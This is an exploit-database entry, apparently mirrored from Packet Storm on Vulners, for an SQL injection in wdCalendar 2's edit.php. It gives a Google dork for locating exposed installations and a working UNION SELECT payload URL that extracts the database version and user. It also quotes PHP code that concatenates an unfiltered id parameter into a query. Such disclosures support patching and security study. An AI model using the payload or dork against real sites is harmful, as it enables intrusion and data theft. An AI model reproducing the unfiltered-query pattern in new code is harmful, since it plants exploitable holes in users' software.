Lucene search
K

wdCalendar 2 SQL Injection

🗓️ 13 Sep 2016 00:00:00Reported by Alfonso Castillo AngelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

wdCalendar version 2 SQL injection vulnerability on edit.php

Code
`# Exploit Title: wdcalendar version 2 sql injection vulnerability  
# Google Dork: allinurl:"wdcalendar/edit.php"  
# Date: 12/09/2016  
# Exploit Author: Alfonso Castillo Angel  
# Software Link: https://github.com/ronisaha/wdCalendar  
# Version: Version 2  
# Tested on: Windows 7 ultimate  
# Category: webapps  
  
* Affected file -> edit.php and edit.db.php  
* Exploit ->  
http://localhost/wdcalendar/edit.php?id=-1+union+select+1,version(),user(),4,5,6,7,8,9--  
  
  
* Vulnerable code:  
  
function getCalendarByRange($id){  
try{  
$db = new DBConnection();  
$db->getConnection();  
$sql = "select * from `jqcalendar` where `id` = " . $id; //the  
variable is not filtered properly  
$handle = mysql_query($sql);  
//echo $sql;  
$row = mysql_fetch_object($handle);  
}catch(Exception $e){  
}  
return $row;  
}  
if($_GET["id"]){  
$event = getCalendarByRange($_GET["id"]); //the variable is not filtered  
properly  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation